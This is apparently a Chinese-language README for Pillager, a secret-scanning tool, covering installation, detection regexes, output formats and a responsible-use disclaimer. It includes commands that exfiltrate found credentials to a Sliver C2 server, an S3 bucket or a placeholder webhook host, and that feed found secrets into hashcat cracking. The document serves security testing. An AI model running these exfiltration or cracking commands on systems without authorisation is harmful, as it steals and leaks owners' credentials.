如果你的系统上设置了 Go,可以通过 go install 安装 Pillager:
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
如果你正在寻找二进制文件,请查看最新版本中与你的系统匹配的可执行文件。
查看 pillager 提供的所有命令:
# 查看整个应用程序的说明
pillager
# 在任何子命令下
pillager [cmd] --help
Pillager 提供了一个基于 bubbletea 构建的终端用户界面,如果你希望交互式地扫描秘密信息。
将发现的秘密发送到远程目标:Sliver C2(战利品/凭据存储)、S3/MinIO(云存储)或 Webhooks(自定义 HTTP 端点)。
# Sliver C2 - 发送到团队服务器,并解析凭据
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - 上传并加密
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST 到自定义端点
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
安全性:AES-256-GCM 加密(--exfil-encrypt),默认使用 TLS,自动包含元数据(主机名、时间戳)
# pillager.toml
# 基本配置
verbose = false
redact = false
# 秘密检测规则
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# 白名单配置
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager 内置了多种输出格式。选择你喜欢的格式!
pillager hunt .
pillager hunt ./example -f json | jq
JSON 输出设计为与优秀的 jq 工具无缝配合,便于解析。
# 使用 pillager 从发现结果生成换行分隔的单词列表
pillager hunt . -f wordlist
# 使用 pillager 追加到单词列表,然后使用你最喜欢的 hashcat 攻击模式
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager 允许你使用强大的 go text/template 和 sprig 函数来自定义输出格式。以下是几个模板示例。
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# 结果
{{ range . -}}
## {{ .File }}
- 位置: {{.StartLine}}
{{end}}
更多模板示例可以在 templates 目录中找到。
GoDoc 文档可在 pkg.go.dev for pillager 上获取。
要参与 Pillager 的功能开发和修复,请按以下步骤开始:
Cobra 是什么?
Cobra 是一个库,提供了创建类似于 git 和 go 工具的强大现代 CLI 界面的简单接口。 Cobra 也是一个应用程序,可以生成你的应用程序脚手架,以快速开发基于 Cobra 的应用程序。
如果你以前见过用 Go 编写的 CLI,那么它很有可能是用 Cobra 构建的。我强烈推荐这个库。它使开发者能够轻松创建一致、动态和自文档的命令行工具。一些例子包括 kubectl、hugo 和 Github 的 gh CLI。
Gitleaks 是什么?
Gitleaks1 是一个 SAST 工具,用于检测 git 仓库中的硬编码秘密,如密码、API 密钥和令牌。
Gitleaks 是一个用于秘密泄漏预防的出色工具。如果你尚未将 Gitleaks 作为预提交检查器,那么值得花时间了解一下。
为什么 Gitleaks 与 Pillager 相关?
Pillager 实现了 Gitleaks 强大的规则功能,同时采用了不同的方法来呈现和处理发现的秘密。虽然我提供了一组基本的默认规则,但如果允许用户针对自己的用例创建规则,Pillager 会变得更加强大。
查看包含的规则2以获取基准规则集。
不用说我也要说:对于使用 Pillager 造成的一切后果,我 不 承担任何责任。 此工具旨在用于防御、教育和安全研究目的,且需获得所有相关方的同意。 绝不支持或鼓励使用 Pillager 进行恶意行为。请负责任地使用此工具,并确保在扫描任何系统上的秘密之前已获得许可。
核心上,Pillager 旨在帮助你确定系统是否受到 MITRE ATT&CK3 框架记录的常见凭据泄漏来源的影响。